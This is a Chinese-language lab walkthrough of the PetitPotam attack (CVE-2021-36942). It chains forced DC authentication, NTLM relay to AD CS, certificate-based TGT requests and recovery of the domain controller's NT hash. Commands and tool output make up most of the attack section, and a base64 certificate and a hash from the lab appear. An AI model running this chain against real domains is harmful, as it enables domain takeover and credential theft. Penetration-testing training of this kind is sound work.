PetitPotam

1. PetitPotam

PetitPotam（CVE-2021-36942 ）是一种 LSA欺骗漏洞，于 2021 年 8 月修复。该漏洞允许未经身份验证的攻击者通过滥用微软的 MS-EFSRPC（加密文件系统远程协议），利用 LSARPC（本地安全机构远程协议） 强制域通过 445 端口使用 NTLM 向另一台主机进行身份验证。

这种技术允许未经身份验证的攻击者接管正在使用 AD CS 的 Windows 域。在攻击过程中，来自目标域控制器的身份验证请求被中继到证书颁发机构（CA）主机的 Web 注册页面，并为新的数字证书发起 CSR（证书签名请求）。

随后，该证书可以配合 Rubeus 或  PKINITtools 中的 gettgtpkinit.py等工具，为域控制器请求 TGT。可以利用该 TGT进行 DCSync

更多的信息请看这篇文章

1.1. 利用

此漏洞主要是用做NTLM中继的触发器

1.1.1. 开启ntlmrelayx中继监听

ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
  • --target指定CA主机的Web注册端点
  • 使用 KerberosAuthentication 或 DomainController 这类适合域控的AD CS 模板

1.1.2. PetiPotam触发强制认证

再另一个窗口中，使用PetiPotam强制域控向目标主机发起NTLM身份验证(这里使用的是EfsRpcOpenFileRaw方法强制身份认证)

#PetitPotam.py <attack host IP> <Domain Controller IP>
python3 PetitPotam.py 172.16.5.225 172.16.5.5       
                                                                                 
              ___            _        _      _        ___            _                     
             | _ \   ___    | |_     (_)    | |_     | _ \   ___    | |_    __ _    _ __   
             |  _/  / -_)   |  _|    | |    |  _|    |  _/  / _ \   |  _|  / _` |  | '  \  
            _|_|_   \___|   _\__|   _|_|_   _\__|   _|_|_   \___/   _\__|  \__,_|  |_|_|_| 
          _| """ |_|"""""|_|"""""|_|"""""|_|"""""|_| """ |_|"""""|_|"""""|_|"""""|_|"""""| 
          "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' 
                                         
              PoC to elicit machine account authentication via some MS-EFSRPC functions
                                      by topotam (@topotam77)
      
                     Inspired by @tifkin_ & @elad_shamir previous work on MS-RPRN

Trying pipe lsarpc
[-] Connecting to ncacn_np:172.16.5.5[\PIPE\lsarpc]
[+] Connected!
[+] Binding to c681d488-d850-11d0-8c52-00c04fd90f7e
[+] Successfully bound!
[-] Sending EfsRpcOpenFileRaw!
[+] Got expected ERROR_BAD_NETPATH exception!!
[+] Attack worked!

此工具还有一个Windows的版本，身份验证触发器也已添加到 Mimikatz 中，可以使用加密文件系统（EFS）模块按如下方式运行
misc::efs /server:<域控制器> /connect:<攻击机>
还有一个Powershell版本的  Invoke-PetitPotam.ps1

1.1.3. 获取DC的base64编码证书

ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[+] Impacket Library Installation Path: /usr/local/lib/python3.9/dist-packages/impacket-0.9.24.dev1+20211013.152215.3fe2d73a-py3.9.egg/impacket
[*] Protocol Client DCSYNC loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client HTTP loaded..
[*] Protocol Client IMAP loaded..
[*] Protocol Client IMAPS loaded..
[*] Protocol Client LDAPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client MSSQL loaded..
[*] Protocol Client RPC loaded..
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
[+] Protocol Attack DCSYNC loaded..
[+] Protocol Attack HTTP loaded..
[+] Protocol Attack HTTPS loaded..
[+] Protocol Attack IMAP loaded..
[+] Protocol Attack IMAPS loaded..
[+] Protocol Attack LDAP loaded..
[+] Protocol Attack LDAPS loaded..
[+] Protocol Attack MSSQL loaded..
[+] Protocol Attack RPC loaded..
[+] Protocol Attack SMB loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server
[*] Setting up WCF Server

[*] Servers started, waiting for connections
[*] SMBD-Thread-4: Connection from INLANEFREIGHT/ACADEMY-EA-DC01$@172.16.5.5 controlled, attacking target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL as INLANEFREIGHT/ACADEMY-EA-DC01$ SUCCEED
[*] SMBD-Thread-4: Connection from INLANEFREIGHT/ACADEMY-EA-DC01$@172.16.5.5 controlled, attacking target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL
[*] HTTP server returned error code 200, treating as a successful login
[*] Authenticating against http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL as INLANEFREIGHT/ACADEMY-EA-DC01$ SUCCEED
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE!
[*] Base64 certificate of user ACADEMY-EA-DC01$: 
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
[*] Skipping user ACADEMY-EA-DC01$ since attack was already performed

<SNIP>

1.1.4. 使用 gettgtpkinit.py 请求 TGT

gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 MIIStQIBAzCCEn8GCSqGSI...SNIP...CKBdGmY= dc01.ccache

1.1.5. 使用 getnthash.py 为自己提交 TGS 请求

获取到了TGT后，除了常规的DCSync之外，我们可以通过 Kerberos U2U 提交一个包含特权属性证书 (PAC) 的 TGS 请求，从而请求目标主机或用户的 NT 哈希，而该 PAC 中就包含了目标的 NT 哈希。这个哈希值可以使用我们之前在请求 TGT 时获得的 AS-REP 加密密钥进行解密。

python /opt/PKINITtools/getnthash.py -key 70f805f9c91ca91836b670447facb099b4b2b7cd5b762386b3369aa16d912275 INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01$

Impacket v0.9.24.dev1+20211013.152215.3fe2d73a - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
313b6f423cd1ee07e91315b4919fb4ba

1.1.6. 使用Rubeus获取TGT

给Rubeus提供获取到的DC证书来申请一个TGT

.\Rubeus.exe asktgt /user:ACADEMY-EA-DC01$ /certificate:MIIStQIBAzC...SNIP...IkHS2vJ51Ry4= /ptt

1.2. 缓解措施

打补丁以应对 CVE-2021-36942

2. References: